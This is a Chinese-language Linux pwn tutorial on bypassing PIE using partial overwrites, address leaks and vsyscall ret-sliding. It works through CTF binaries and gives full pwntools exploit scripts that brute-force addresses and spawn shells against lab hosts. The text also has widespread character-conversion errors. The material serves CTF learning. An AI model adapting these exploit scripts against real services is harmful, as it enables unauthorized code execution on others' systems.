0一、PIE简介
在以前的文章中咱们提到过ASLR这一防御技术。因为受到堆栈和libc地址可预测的困扰,ASLR被设计出来并获得普遍应用。由于ASLR技术的出现,攻击者在ROP或者向进程中写数据时不得不先进行leak,或者干脆放弃堆栈,转向bss或者其余地址固定的内存块。
而PIE(position-independent executable, 地址无关可执行文件)技术就是一个针对代码段.text, 数据段.*data,.bss等固定地址的一个防御技术。同ASLR同样,应用了PIE的程序会在每次加载时都变换加载基址,从而使位于程序自己的gadget也失效。


没有PIE保护的程序,每次加载的基址都是固定的,64位上通常是0x400000。



使用PIE保护的程序,能够看到两次加载的基址是不同的。
显然,PIE的应用给ROP技术形成了很大的影响。可是因为某些系统和缺陷,其余漏洞的存在和地址随机化自己的问题,咱们仍然有一些能够bypass PIE的手段。
下面咱们介绍三种比较常见的手法。
0二、partial write bypass PIE
partial write(部分写入)就是一种利用了PIE技术缺陷的bypass技术。因为内存的页载入机制,PIE的随机化只能影响到单个内存页。一般来讲,一个内存页大小为0x1000,这就意味着无论地址怎么变,某条指令的后12位,3个十六进制数的地址是始终不变的。所以经过覆盖EIP的后8或16位 (按字节写入,每字节8位)就能够快速爆破或者直接劫持EIP。
咱们打开例子~/DefCamp CTF Finals 2016-SMS/SMS,这是一个64位程序,主要的功能函数dosms( )调用了存在漏洞的set_user和set_sms。

set_user能够读取128字符的username,从set_sms中对strncpy的调用能够看出长度保存在a1+180,username首地址在a1+140,能够经过溢出修改strncpy长度形成溢出。


除此以外,程序还有一个后门函数frontdoor。

这个程序使用了PIE做为保护,咱们不能肯定frontdoor的具体地址,所以没办法直接经过溢出来跳转到frontdoor( )。可是因为咱们前面所述的缘由,咱们能够尝试爆破。
经过查看frontdoor的汇编代码咱们知道其地址后三位是0x900。

可是因为咱们的payload必须按字节写入,每一个字节是两个十六进制数,因此咱们必须输入两个字节。除去已知的0x900还须要爆破一个十六进制数。这个数只可能在0~0xf之间改变,所以爆破空间不大,能够接受。
在前面几篇文章的训练以后,咱们很容易经过调试获取溢出所需的padding而且写出payload以下:
payload = 'a'*40 #padding payload += '\xca' #修改长度为202,即payload的长度,这个参数会在其后的strncpy被使用 io.sendline(payload) io.recv() payload = 'a'*200 #padding payload += '\x01\xa9' #frontdoor的地址后三位是0x900, +1跳过push rbp io.sendline(payload)
咱们看到注释里用的不是0x900而是0x901,这是由于在实际调试中发现跳转到frontdoor时会出错。为了验证payload的正确性,咱们能够在调试时经过IDA修改内存地址修正爆破位的值,此处从略。
验证完payload的正确性以后,咱们还必须面临一个问题,那就是如何自动化进行爆破。咱们触发一个错误的结果:

咱们知道爆破失败的话程序就会崩溃,此时io的链接会关闭,所以调用io.recv( )会触发一个EOFError。因为这个特性,咱们可使用python的try...except...来捕获这个错误并进行处理。
最终脚本以下:
#!/usr/bin/python #coding:utf-8 from pwn import * context.update(arch = 'amd64', os = 'linux') i = 0 while True: i += 1 print i io = remote("172.17.0.3", 10001) io.recv() payload = 'a'*40 #padding payload += '\xca' #修改长度为202,即payload的长度,这个参数会在其后的strncpy被使用 io.sendline(payload) io.recv() payload = 'a'*200 #padding payload += '\x01\xa9' #frontdoor的地址后三位是0x900, +1跳过push rbp io.sendline(payload) io.recv() try: io.recv(timeout = 1) #要么崩溃要么爆破成功,若崩溃io会关闭,io.recv()会触发EOFError except EOFError: io.close() continue else: sleep(0.1) io.sendline('/bin/sh\x00') sleep(0.1) io.interactive() #没有EOFError的话就是爆破成功,能够开shell break
0三、泄露地址bypass PIE
PIE影响的只是程序加载基址,并不会影响指令间的相对地址,所以咱们若是能泄露出程序或libc的某些地址,咱们就能够利用偏移来达到目的。
打开例子~/BCTF 2017-100levels/100levels,这是个64位的答题程序,要求输入两个数字,相加获得关卡总数,而后计算乘法。本题的栈溢出漏洞位于0xe43的question函数中。

read会读入0x400个字符到栈上,而对应的局部变量buf显然没那么大,所以会形成栈溢出。因为使用了PIE,并且题目中虽然有system可是没有后门,因此本题没办法使用partial write劫持RIP。可是咱们在进行调试时发现了栈上有一些有趣的数据:

咱们能够看到栈上有大量指向libc的地址。
那么这些地址咱们要怎么leak出来呢,咱们继续看questions这个函数,又看到了一个有趣的东西。

这边的printf输出的参数位于栈上,经过rbp定位。
利用这两个信息,咱们很容易想到能够经过partial overwrite修改RBP的值指向这块内存,从而泄露出这些地址,利用这些地址和libc就能够计算到one gadget RCE的地址从而栈溢出调用。咱们使用如下脚本把RBP的最后两个十六进制数改为0x5c,此时[rbp+var_34] = 0x5c-0x34=0x28,泄露位于这个位置的地址。
io = remote('172.17.0.3', 10001) io.recvuntil("Choice:") io.send('1') io.recvuntil('?') io.send('2') io.recvuntil('?') io.send('0') io.recvuntil("Question: ") question = io.recvuntil("=")[:-1] answer = str(eval(question)) payload = answer.ljust(0x30, '\x00') + '\x5c' io.send(payload) io.recvuntil("Level ") addr_l8 = int(io.recvuntil("Question: ")[:-10])
经过屡次进行实验,咱们发现这段脚本的成功率有限,有时候能泄露出libc中的地址 。

有时候是start的首地址

有时候是无心义的数据

甚至会直接出错

缘由是[rbp+var_34]中的数据是0,idiv除法指令产生了除零错误。

此外,咱们观察泄露出来的addr_l8会发现有时候是正数有时候是负数。这是由于咱们只能泄露出地址的低32位,低8个十六进制数。而这个数的最高位多是0或者1,转换成有符号整数就多是正负两种状况。所以咱们须要对其进行处理:
if addr_l8 < 0: addr_l8 = addr_l8 + 0x100000000
因为咱们泄露出来的只是地址的低32位,抛去前面的4个0,咱们还须要猜16位,即4个十六进制数。幸亏根据实验,程序加载地址彷佛老是在0x000055XXXXXXXXXX-0x000056XXXXXXXXXX间徘徊,所以咱们的爆破空间缩小到了0x100*2=512次。咱们随便选择一个在这个区间的地址拼上去:
addr = addr_l8 + 0x7f8b00000000
为了加快成功率,显然咱们不可能只针对一种状况作处理,从上面的截图上咱们能够看到那块空间中有好几个不一样的libc地址。

根据PIE的原理和缺陷,咱们能够把后三位做为指纹,识别泄露出来的地址是哪一个:
if hex(addr)[-2:] == '0b': #__IO_file_overflow+EB libc_base = addr - 0x7c90b elif hex(addr)[-2:] == 'd2': #puts+1B2 libc_base = addr - 0x70ad2 elif hex(addr)[-3:] == '600':#_IO_2_1_stdout_ libc_base = addr - 0x3c2600 elif hex(addr)[-3:] == '400':#_IO_file_jumps libc_base = addr - 0x3be400 elif hex(addr)[-2:] == '83': #_IO_2_1_stdout_+83 libc_base = addr - 0x3c2683 elif hex(addr)[-2:] == '32': #_IO_do_write+C2 libc_base = addr - 0x7c370 - 0xc2 elif hex(addr)[-2:] == 'e7': #_IO_do_write+37 libc_base = addr - 0x7c370 - 0x37
最后咱们针对泄露出来的无心义数据作一下处理,按照上一节的思路用try...except作一个自动化爆破,造成一个脚本。脚本具体内容见于附件,爆破成功如图:

从图中咱们能够看到本次爆破总共尝试了2633次,相比于上一节,次数仍是比较多的。
此题在网上能够搜到其余利用泄露出来的返回地址作ROP的作法,因为题目中已经有system,感兴趣的同窗也能够试一下。此外,这个题目和下一节中的题目本质上是同样的,所以也能够做为下一节的练习题。
0四、使用vdso/vsyscall bypass PIE
咱们知道,在开启了ASLR的系统上运行PIE程序,就意味着全部的地址都是随机化的。然而在某些版本的系统中这个结论并不成立,缘由是存在着一个神奇的vsyscall。(因为vsyscall在一部分发行版本中的内核已经被裁减掉了,新版的kali也属于其中之一。vsyscall在内核中实现,没法用docker模拟,所以任何与vsyscall相关的实验都改为在Ubuntu 16.04上进行,同时libc中的偏移须要进行修正。)

如上面两图,我前后运行了四次cat /proc/self/maps查看本进程的内存,能够发现其余地址都在变,只有vsyscall一直稳定在0xffffffffff600000-0xffffffffff601000(这里使用cat /proc/[pid]/maps的方式而不是使用IDA是由于这块内存对IDA不可见)那么这块vsyscall是什么,又是干什么用的呢?
简单地说,现代的Windows/*Unix操做系统都采用了分级保护的方式,内核代码位于R0,用户代码位于R3。许多对硬件和内核等的操做都会被包装成内核函数并提供一个接口给用户层代码调用,这个接口就是咱们熟知的int 0x80/syscall+调用号模式。当咱们每次调用这个接口时,为了保证数据的隔离,咱们须要把当前的上下文(寄存器状态等)保存好,而后切换到内核态运行内核函数,而后将内核函数返回的结果放置到对应的寄存器和内存中,再恢复上下文,切换到用户模式。这一过程须要耗费必定的性能。
对于某些系统调用,如gettimeofday来讲,因为他们常常被调用,若是每次被调用都要这么来回折腾一遍,开销就会变成一个累赘。所以系统把几个经常使用的无参内核调用从内核中映射到用户空间中,这就是vsyscall,咱们使用gdb能够把vsyscall dump出来加载到IDA中观察。

能够看到这里面有三个系统调用,从上到下分别是gettimeofday, time和getcpu。因为是系统调用,都是经过syscall来实现,这就意味着咱们彷佛有一个可控的sysall了。
咱们先来看一眼题目~/HITB GSEC CTF 2017-1000levels/1000levels。正如上一节所说,这个题目其实就是100levels的升级版,惟一的变更就是关卡总数增长到了1000.无论怎样,咱们先来试一下调用vsyscall中的syscall。咱们选择在开头下个断点,直接开启调试后布置一下寄存器,并修改RIP到0xffffffffff600007,即第一个syscall所在地址。

执行时发现提示段错误。显然,咱们没办法直接利用vsyscall中的syscall指令。这是由于vsyscall执行时会进行检查,若是不是从函数开头执行的话就会出错。所以,咱们惟一的选择就是利用0xffffffffff600000, 0xffffffffff600400,0xffffffffff600800这三个地址。那么这三个地址对于咱们来讲有什么用呢?
咱们继续分析题目,同100levels同样,1000levels也有一个hint选项。

这个hint的功能是当全局变量show_hint非空时输出system的地址。

因为缺少任意修改地址的手段,咱们并不能去修改show_hint,可是分析汇编代码,咱们发现无论show_hint是否为空,其实system的地址都会被放置在栈上。

因为这个题目给了libc,所以咱们能够利用这个泄露的地址计算其余gadgets的偏移,或者直接使用one gadget RCE。可是还有一个问题:咱们怎么泄露这个地址呢?
咱们继续看实现主要游戏功能的函数go,其实现和漏洞点与100levels一致。可是在上一节咱们没有说起的是其实询问关卡的时候是能够输入0或者负数的,并且从流程图上看,正数和非正数的处理逻辑有一些有趣的不一样。

能够看出,当输入的关卡数为正数的时候,rbp+var_110处的内容会被关卡数取代,而输入负数时则不会。那么这个var_110和system地址所在的var_110是否是一个东西呢?根据栈帧开辟的原理和main函数代码的分析,因为两次循环之间并无进出栈操做,main函数的rsp,也就是hint和go的rbp应该是不会改变的,而事实也确实如此。


继续往下执行,发现第二次输入的关卡数会被直接加到system上。

因为第二次的输入也没有限制正负数,所以咱们能够经过输入偏移值把system修改为one gadget rce。接下来咱们须要作的是利用栈溢出控制RIP指向咱们修改好的one gadget rce。
因为rbp_var_110里的值会被当成循环次数,当次数过大时会锁定为999次,因此咱们必须写一个自动应答脚原本处理题目。根据100levels的脚本咱们很容易构造脚本以下:
io = remote('127.0.0.1', 10001) libc_base = -0x456a0 #减去system函数离libc开头的偏移 one_gadget_base = 0x45526 #加上one gadget rce离libc开头的偏移 vsyscall_gettimeofday = 0xffffffffff600000 def answer(): io.recvuntil('Question: ') answer = eval(io.recvuntil(' = ')[:-3]) io.recvuntil('Answer:') io.sendline(str(answer)) io.recvuntil('Choice:') io.sendline('2') #让system的地址进入栈中 io.recvuntil('Choice:') io.sendline('1') #调用go() io.recvuntil('How many levels?') io.sendline('-1') #输入的值必须小于0,防止覆盖掉system的地址 io.recvuntil('Any more?') io.sendline(str(libc_base+one_gadget_base)) #第二次输入关卡的时候输入偏移值,从而经过相加将system的地址变为one gadget rce的地址 for i in range(999): #循环答题 log.info(i) answer()
计算发现0x38个字节后到rip,然而rip离one gadget rce还有三个地址长度。

咱们要怎么让程序运行到one gadget rce呢?有些读者可能据说过有一种技术叫作NOP slide,即写shellcode的时候在前面用大量的NOP进行填充。因为NOP是一条不会改变上下文的空指令,所以执行完一堆NOP后执行shellcode对shellcode的功能并无影响,且能够增长地址猜想的范围,从必定程度上对抗ASLR。这里咱们一样能够用ret指令不停地“滑”到下一条。因为程序开了PIE且没办法泄露内存空间中的地址,咱们找不到一个可靠的ret指令所在地址。这个时候vsyscall就派上用场了。
咱们前面知道,vsyscall中有三个无参系统调用,且只能从入口进入。咱们选的这个one gadget rce要求rax = 0,查阅相关资料可知gettimeofday执行成功时返回值就是0,所以咱们能够选择调用三次vsyscall中的gettimeofday,利用执行完的ret“滑”过这片空间。
io.send('a'*0x38 + p64(vsyscall_gettimeofday)*3)

正如咱们所见,尽管有一些限制,因为vsyscall地址的固定性,这个原本是为了节省开销的设置形成了很大的隐患,所以vsyscall很快就被新的机制vdso所取代。与vsyscall不一样的是,vdso的地址也是随机化的,且其中的指令能够任意执行,不须要从入口开始,这就意味着咱们能够利用vdso中的syscall来干一些坏事了。

因为64位下的vdso的地址随机化位数达到了22bit,爆破空间相对较大,爆破仍是须要一点时间的。可是,32位下的vdso须要爆破的字节数就不多了。一样的,32位下的ASLR随机化强度也相对较低,读者可使用附件中的题目~/NJCTF 2017-233/233进行实验。

以上是今天的内容,你们看懂了吗?后面咱们将持续更新Linux Pwn入门教程的相关章节,但愿你们及时关注。